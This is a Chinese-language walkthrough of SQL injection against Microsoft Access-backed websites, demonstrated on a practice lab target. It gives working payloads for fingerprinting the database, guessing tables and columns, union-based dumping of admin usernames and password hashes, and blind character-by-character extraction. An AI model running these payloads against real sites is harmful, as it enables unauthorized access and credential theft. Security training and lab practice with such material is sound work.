access 注入


0x00   前言

现在access的站,比较少,有的话也是小型网站在用,因为access的性能比较差,多人访问都能卡死,所以很多网站都很少会采用access的数据库搭建。但是该学的我们还是得学。

0x01   access 数据库

Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。

Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。它是微软OFFICE的一个成员, 在包括专业版和更高版本的office版本里面被单独出售。2012年12月4日,最新的微软Office Access 2013在微软Office 2013里发布,微软Office Access 2010 是前一个版本。

MS ACCESS以它自己的格式将数据存储在基于Access Jet的数据库引擎里。它还可以直接导入或者链接数据(这些数据存储在其他应用程序和数据库)。
MicrosoftAccess在很多地方得到广泛使用,例如小型企业,大公司的部门。

Access的用途体现在两个方面:

一、用来进行数据分析:access有强大的数据处理、统计分析能力,利用access的查询功能,可以方便地进行各类汇总、平均等统计。并可灵活设置统计的条件。比如在统计分析上万条记录、十几万条记录及以上的数据时速度快且操作方便,这一点是Excel无法与之相比的。这一点体现在:会用access,提高了工作效率和工作能力。

上面是百度找到的,access数据库的介绍,一般access数据库会搭载asp来建站。

access数据库是以文件来存储的,保存的文件为.mdb 。在几年前流行的暴库其实就是利用了access数据库 以文件形式存储,然后给下载下来从而拿到数据。

0x02  access联合查询

这里没有搭建access的数据库注入环境就直接开个墨者的靶机来做演示 

直接来测试一波

and (select count(*) from msysobjects)>0 (返回权限不足access数据库)

and (select count(*) from sysobjects)>0 (返回正常则为MSSQL数据库)
and 1=1  正常
and 1=2  无回显

存在注入,数字型注入。

access数据库只有表名和字段

我们直接来爆他的表

 and exists(select * from admin)

回显正常,证明存在这个表,

exists:检验查询是否返回数据。

那么再来猜字段。

and exists(select admin from admin)      无回显
and exists(select id from admin) 正常
and exists(select username from admin) 正常
and exists(select password from admin) 失败
and exists(select passwd from admin) 正常

现在有已经知道了他的字段有id username  passwd

来用联合查询来爆出他的字段

order by 10 无回显
order by 5   无回显
order by 4   回显

字段为4个,

 union select 1,2,3,4 from admin

前面猜表的时候也可以用这种方式来猜,access的联合查询和mysql的不一样,access的需要指定表名。

 有显示位,我们直接来进行查询username和passwd的字段

union select 1,username,passwd,4 from admin

0x03  access盲注

当我们已经知道字段和表明后,无回显位的话就需要用到盲注了。

and (select len(username)from admin)>10  无回显
and (select len(username)from admin)>5 无回显
and (select len(username)from admin)>4 正常
and (select len(username)from admin)=4 正常

username这个字段的长度是4个,知道长度后我们就可以来一个一个取值,然后拿到账号了

and (select top 1 asc(mid(username,1,1)) from Admin)=109  正常
and (select top 1 asc(mid(username,2,1)) from Admin)=111 正常
and (select top 1 asc(mid(username,3,1)) from Admin)=107 正常
and (select top 1 asc(mid(username,4,1)) from Admin)=101 正常
and (select top 1 asc(mid(username,4,1)) from Admin)=101 正常

access的没有limit函数这里要使用top 1来取第一行数据,asc是转换ascii码的函数,和mysql的ascii函数一样。

mid是取值函数。

由于盲注比较久这里就不爆密码了,密码是hash值

0x03  结尾

access跑不出来表的时候还可以使用到偏移注入,但是那个没有去研究过,因为access的站都是小型网站没搞头,而且一般跑表名能跑出来就跑,跑不出来就盲注。